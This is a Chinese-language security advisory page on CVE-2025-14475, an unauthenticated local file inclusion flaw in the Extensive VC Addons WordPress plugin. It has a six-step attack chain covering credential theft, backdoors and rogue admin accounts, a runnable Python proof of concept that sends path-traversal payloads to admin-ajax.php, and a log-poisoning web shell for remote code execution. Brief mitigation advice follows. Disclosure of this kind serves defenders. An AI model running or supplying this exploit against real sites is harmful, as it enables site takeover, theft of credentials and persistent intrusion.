IPBUF安全漏洞报告
English
CVE-2025-14475 CVSS 8.1 高危

CVE-2025-14475: Extensive VC Addons WordPress插件本地文件包含漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-14475
漏洞类型
本地文件包含(LFI)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Extensive VC Addons for WPBakery page builder plugin for WordPress

相关标签

本地文件包含LFIWordPress插件远程代码执行RCEWPBakeryExtensive VC Addons高危漏洞无需认证路径遍历

漏洞概述

CVE-2025-14475是WordPress插件Extensive VC Addons中的一个高危安全漏洞。该插件是一款为WPBakery页面构建器提供扩展功能的工具,在1.9.1及以下版本中存在严重的本地文件包含(LFI)漏洞。漏洞根源在于`extensive_vc_get_module_template_part`函数缺乏充分的路径规范化处理和用户输入验证。具体而言,在`extensive_vc_init_shortcode_pagination` AJAX操作中,攻击者可以通过`shortcode_name`参数注入恶意路径,实现任意PHP文件的包含和执行。由于该AJAX端点无需认证即可访问,攻击门槛极低,任何互联网用户都有可能利用此漏洞在目标服务器上执行任意PHP代码,从而完全控制受影响的WordPress站点。此漏洞CVSS评分高达8.1,属于高危级别,对网站安全构成严重威胁。

技术细节

漏洞存在于Extensive VC Addons插件的`lib/helpers-functions.php`文件第78行附近的`extensive_vc_get_module_template_part`函数中。该函数在处理模板路径时,直接将用户可控的`shortcode_name`参数拼接到文件包含路径中,未进行充分的路径规范化和安全验证。攻击者可以通过构造特殊的`shortcode_name`参数值(如使用路径遍历序列../或绝对路径),绕过预期路径限制,包含服务器上的任意PHP文件。一旦文件被包含,攻击者可以在被包含的PHP文件中预先写入恶意代码(如webshell),实现远程代码执行。漏洞利用涉及`shortcodes/shortcodes-functions.php`文件第122和142行的相关逻辑,这些代码处理AJAX请求并调用存在缺陷的模板加载函数。由于WordPress的AJAX端点对未认证用户开放,攻击者无需获取任何凭据即可发起攻击。

攻击链分析

STEP 1
1 - 信息收集
识别目标WordPress网站是否安装并启用Extensive VC Addons插件,版本在1.9.1或以下
STEP 2
2 - 构造恶意请求
构造针对wp-admin/admin-ajax.php的POST请求,action参数设为'extensive_vc_init_shortcode_pagination',shortcode_name参数注入路径遍历载荷
STEP 3
3 - 文件包含利用
发送构造的请求,服务器端PHP代码直接使用用户输入的shortcode_name参数进行文件包含,未进行路径规范化或安全验证
STEP 4
4 - 敏感文件读取(可选)
通过LFI读取服务器敏感文件,如/etc/passwd、wp-config.php等,获取系统配置和凭据信息
STEP 5
5 - 远程代码执行(进阶)
结合日志污染或session文件包含,注入webshell代码到可预测路径的文件中,然后通过LFI包含执行,实现完全远程代码执行
STEP 6
6 - 持久化控制
在服务器上部署后门程序、创建管理员账户或修改现有文件,建立持久化访问通道

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14475 PoC - Local File Inclusion in Extensive VC Addons WordPress Plugin # Target: WordPress site with Extensive VC Addons plugin <= 1.9.1 def exploit_lfi(target_url, file_path='../../../../../../../../etc/passwd'): """ Exploit the LFI vulnerability via AJAX action 'extensive_vc_init_shortcode_pagination' Args: target_url: Base URL of the vulnerable WordPress site file_path: Path to the file to include (default: /etc/passwd) Returns: Content of the included file """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Payload with path traversal to include arbitrary files data = { 'action': 'extensive_vc_init_shortcode_pagination', 'shortcode_name': file_path, 'extensive_vc_pagination': '1' } try: response = requests.post(ajax_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def exploit_rce(target_url): """ Remote Code Execution via LFI + Log Poisoning Steps: 1. Poison PHP session log with webshell 2. Include the log file via LFI 3. Execute arbitrary commands """ ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Step 1: Poison the access log with PHP code log_poison_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Note: This requires ability to write to log files (Apache access_log) # Step 2: Include the poisoned log file log_file_path = "../../../../../../../../var/log/apache2/access.log" cmd_url = f"{target_url}/wp-admin/admin-ajax.php?action=extensive_vc_init_shortcode_pagination&shortcode_name={log_file_path}&cmd=id" try: response = requests.get(cmd_url, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14475.py <target_url> [file_path]") print("Example: python cve-2025-14475.py http://target.com ../../../../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '../../../../../../../../etc/passwd' print(f"[*] Targeting: {target}") print(f"[*] Attempting to read: {file_to_read}") result = exploit_lfi(target, file_to_read) print("\n[+] Result:") print(result[:2000] if len(result) > 2000 else result)

影响范围

Extensive VC Addons for WPBakery <= 1.9.1

防御指南

临时缓解措施
立即将Extensive VC Addons插件升级到官方发布的安全版本。如果暂时无法升级,可在Web服务器层面添加规则拦截包含路径遍历序列的请求,或临时禁用该插件直至完成安全更新。同时建议检查WordPress站点是否有异常的管理员账户或被修改的文件,确保系统未被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表